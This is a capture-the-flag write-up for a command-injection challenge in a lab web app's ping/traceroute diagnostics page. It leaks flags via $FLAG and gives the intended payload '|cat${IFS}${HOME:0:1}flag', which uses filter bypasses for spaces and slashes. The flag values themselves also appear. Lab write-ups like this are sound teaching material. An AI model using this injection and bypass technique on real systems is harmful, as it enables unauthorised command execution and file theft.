

Writeup by: [Danilo Nascimento | 1nv1ct4](#)
<https://github.com/ndanilo8/PositiveHackCamp2024>

Description:

Find a way to inject arbitrary command and read /flag file on web application file system

Solving

Well interesting to solve this we can just use the same method as before....

We access the online instance and we can either do

```
echo $FLAG  
# or  
$FLAG
```

The screenshot shows a web browser window with the URL `web.x90aupfq5oxkg4qth7bs.labs.cyber-ed.space/diagnostics`. The page title is "K33N3T1C C17Y" and the main heading is "Diagnostics". Below the heading, there is a description: "Use this menu to get system self-diagnosis files, view events in the system log, and check connections to network nodes. After installing the corresponding component, it is also possible to capture network traffic." There are three tabs: "General", "Active connections", and "Debug". The "General" tab is selected. Under "General", there is a section titled "Network connection check" which contains a "Utility" dropdown menu with "Ping" selected and "Traceroute" as an option. Below this is a "Host" input field containing the text "\$FLAG". There is a link for "Options" below the "Host" field. At the bottom, there is a text area showing the command `ping: bad address 'flag{a9ce6d6a12a6b4b876c8626b27254518}'`. Below the text area are two buttons: "Submit Query" and "Run check".

It'll print something bad with the command, but it will work and we get the flag!

```
tracert: bad address 'flag{a9ce6d6a12a6b4b876c8626b27254518}'
```

But this was a bug, so this is not the correct way to get the flag....

Correct way to hack this

in the Host: field just select ping or traceroute and then the payload bellow

Diagnostics

Use this menu to get system self-diagnosis files, view events in the system log, and check connectivity nodes. After installing the corresponding component, it is also possible to capture network traffic.

General

Active connections

Debug

Network connection check

Utility ☐ Ping
☐ Traceroute

Host

Options

```
flag{48a7a37876a5ba2bc364f012d7d9ec13}
```

```
BusyBox v1.27.2 (2018-06-06 09:08:44 UTC) multi-call binary.
```

```
Usage: ping [OPTIONS] HOST
```

```
Send ICMP ECHO_REQUEST packets to network hosts
```

```
-4, -6 Force IP or IPv6 name resolution
```

```
-c CNT Send only CNT pings
```

```
-s SIZE Send SIZE data bytes in packets (default 56)
```

Submit Query

Run check

Ref:

<https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection>

Check the filter bypass sections

The idea is to get the flag from the environmental variables...
the way we do it normally is by:

```
cat $flag
```

But this doesn't work as we can't use **spaces** or **slashes**

```
|cat${IFS}${HOME:0:1}flag
```

- `$IFS` is a special shell variable called the Internal Field Separator
- `{HOME:0:1}` linux bash / "backslash" bypass

and we get the flag